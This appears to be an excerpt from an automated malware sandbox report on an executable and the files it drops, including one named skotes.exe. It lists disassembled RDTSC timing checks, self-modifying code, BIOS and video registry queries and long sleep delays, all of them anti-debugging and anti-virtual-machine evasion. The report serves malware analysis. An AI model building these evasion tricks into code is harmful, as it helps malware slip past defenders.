Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 914F06 second address: 914F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F74ACE25129h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F74ACE25123h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007F74ACE2511Ch 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 914F4E second address: 914F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F74AC8A01E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 915028 second address: 91502C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 91502C second address: 91503A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 91503A second address: 915050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 91507F second address: 915085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 915085 second address: 915089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 91529C second address: 9152C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F74AC8A01F5h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 je 00007F74AC8A01FFh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9152C6 second address: 9152F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE25121h 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F74ACE25124h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9152F5 second address: 915397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jne 00007F74AC8A01ECh 0x00000012 jmp 00007F74AC8A01F2h 0x00000017 popad 0x00000018 pop eax 0x00000019 and ecx, dword ptr [ebp+122D2DF4h] 0x0000001f push 00000003h 0x00000021 mov di, 0DE0h 0x00000025 push 00000000h 0x00000027 mov edx, edi 0x00000029 mov edi, 7BEFDE66h 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D21A9h], esi 0x00000036 mov edi, dword ptr [ebp+122D2EBCh] 0x0000003c call 00007F74AC8A01E9h 0x00000041 push eax 0x00000042 jmp 00007F74AC8A01F4h 0x00000047 pop eax 0x00000048 push eax 0x00000049 jmp 00007F74AC8A01F2h 0x0000004e mov eax, dword ptr [esp+04h] 0x00000052 push edx 0x00000053 jmp 00007F74AC8A01F3h 0x00000058 pop edx 0x00000059 mov eax, dword ptr [eax] 0x0000005b push eax 0x0000005c push edx 0x0000005d push edi 0x0000005e pushad 0x0000005f popad 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 915397 second address: 9153C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f js 00007F74ACE25116h 0x00000015 jp 00007F74ACE25116h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9153C3 second address: 9153C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 92690B second address: 92691B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 92691B second address: 926925 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F74AC8A01ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9340BA second address: 9340D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74ACE25124h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9340D2 second address: 9340D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9340D6 second address: 9340DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 90373E second address: 903750 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F74AC8A01E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F74AC8A01E6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9343B4 second address: 9343BE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93451A second address: 934536 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F74AC8A01EAh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F74AC8A01E6h 0x00000011 jno 00007F74AC8A01E6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9348B5 second address: 9348B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 934D3D second address: 934D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 935000 second address: 93500C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F74ACE25116h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93500C second address: 93501F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93501F second address: 935025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 92AA54 second address: 92AA58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 92AA58 second address: 92AA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 92AA5E second address: 92AA69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93544F second address: 93545F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 935C29 second address: 935C39 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F74AC8A01E6h 0x00000008 jng 00007F74AC8A01E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 935C39 second address: 935C57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F74ACE25120h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 935D92 second address: 935DA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F74AC8A01F0h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9394D2 second address: 939527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jnc 00007F74ACE2511Ch 0x00000014 push edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop edi 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F74ACE25126h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 pop edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93848E second address: 938494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 938494 second address: 938498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 938498 second address: 93849C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 93CD3D second address: 93CD6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F74ACE25116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F74ACE25122h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jc 00007F74ACE25116h 0x0000001d push eax 0x0000001e pop eax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 940E99 second address: 940EBD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F74AC8A01E6h 0x00000008 jo 00007F74AC8A01E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F74AC8A01EEh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 940EBD second address: 940EDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F74ACE25118h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F74ACE2511Ch 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9411E1 second address: 9411E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9414E5 second address: 9414F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 9414F7 second address: 941503 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 942CBD second address: 942CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 942CC3 second address: 942CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F74AC8A01E8h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 942CD6 second address: 942CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 942CE9 second address: 942CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 942CEE second address: 942CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 944D19 second address: 944D30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 944D30 second address: 944D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F74ACE25121h 0x0000000b jbe 00007F74ACE25116h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94528C second address: 945292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 945914 second address: 94591B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94591B second address: 945922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 945922 second address: 945933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F74ACE25116h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 945B41 second address: 945B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 945B45 second address: 945B4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 945DFB second address: 945DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 946DBA second address: 946DC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 946DC0 second address: 946DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F74AC8A01E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 946DCA second address: 946E2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F74ACE25118h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov esi, edx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b call 00007F74ACE25122h 0x00000030 pop esi 0x00000031 mov esi, edi 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F74ACE25128h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 946E2A second address: 946E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 946E30 second address: 946E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 949326 second address: 949331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F74AC8A01E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94A6BB second address: 94A6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94CC83 second address: 94CC88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94BB61 second address: 94BB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94BB65 second address: 94BB6F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F74AC8A01E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94CDD9 second address: 94CDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 94EB65 second address: 94EB73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F74AC8A01E6h 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Special instruction interceptor: First address: 58899D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Special instruction interceptor: First address: 588A40 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Special instruction interceptor: First address: 58644E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Special instruction interceptor: First address: 727DD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Special instruction interceptor: First address: 7BB5C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Special instruction interceptor: First address: 943703 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Special instruction interceptor: First address: 9C3556 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Special instruction interceptor: First address: 6D853D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Special instruction interceptor: First address: 52C236 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Special instruction interceptor: First address: 7026FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Special instruction interceptor: First address: 764912 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B5853D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9AC236 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B826FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BE4912 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

Code function: 5_2_048B0C42 rdtsc

5_2_048B0C42

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 403

Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe TID: 3456	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe TID: 3428	Thread sleep time: -32016s >= -30000s	Jump to behavior
